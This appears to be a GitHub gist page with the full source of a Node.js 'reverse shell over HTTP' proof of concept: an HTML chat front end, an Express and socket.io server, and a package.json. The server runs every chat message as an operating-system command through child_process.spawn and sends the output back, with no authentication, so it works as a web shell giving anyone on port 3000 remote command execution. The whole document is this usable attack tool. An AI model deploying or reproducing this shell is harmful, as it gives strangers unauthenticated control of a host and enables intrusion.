Skip to content

Instantly share code, notes, and snippets.

@Franco-Poveda
Last active January 14, 2016 11:12
Show Gist options
  • Save Franco-Poveda/29b20319fea35bf65731 to your computer and use it in GitHub Desktop.
Save Franco-Poveda/29b20319fea35bf65731 to your computer and use it in GitHub Desktop.
node.js reverse shell over HTTP proof of concept, using socket.io
<!doctype html>
<html>
<head>
<title>Socket.IO shell</title>
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body { font: 13px Helvetica, Arial; }
form { background: #000; padding: 3px; position: fixed; bottom: 0; width: 100%; }
form input { border: 0; padding: 10px; width: 90%; margin-right: .5%; }
form button { width: 9%; background: rgb(130, 224, 255); border: none; padding: 10px; }
#messages { list-style-type: none; margin: 0; padding: 0; }
#messages li { padding: 5px 10px; }
#messages li:nth-child(odd) { background: #eee; }
</style>
</head>
<body>
<ul id="messages"></ul>
<form action="">
<input id="m" autocomplete="off" /><button>Send</button>
</form>
<script src="https://cdn.socket.io/socket.io-1.2.0.js"></script>
<script src="http://code.jquery.com/jquery-1.11.1.js"></script>
<script>
var socket = io();
$('form').submit(function(){
socket.emit('chat message', $('#m').val());
$('#m').val('');
return false;
});
socket.on('chat message', function(msg){
$('#messages').append($('<li>').text(msg));
});
</script>
</body>
</html>
/* poguijuaz [at] gmail
* Just a proof of concept
* I used some os socket.io's chat example:
* http://socket.io/demos/chat/
* comments are welcome.
*/
var app = require('express')();
var http = require('http').Server(app);
var io = require('socket.io')(http);
app.get('/', function(req, res){
res.sendFile(__dirname + '/index.html');
});
io.on('connection', function(socket){
socket.on('chat message', function(msg){
io.emit('chat message', msg);
if (msg.indexOf(' ') == -1) {
var command = msg;
var arguments = "-la";
} else{
var command = msg.substring(0, msg.indexOf(' '));
var arguments = msg.substring(msg.indexOf(' '),msg.length);
}
run_cmd(command,arguments,function(out){
console.log(out);
io.emit("chat message",out);
});
});
});
http.listen(3000, function(){
console.log('listening on port 3000');
});
function run_cmd(cmd, args, callBack ) {
var spawn = require('child_process').spawn;
var child = spawn(cmd, args);
var resp = "";
child.stdout.on('data', function (buffer) { resp += buffer.toString() });
child.stdout.on('end', function() { callBack (resp) });
}
{
"name": "socket-revShell",
"version": "0.0.1",
"description": "reverse / http shell proof of concept",
"dependencies": {
"express": "4.10.2",
"socket.io": "1.2.0"
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment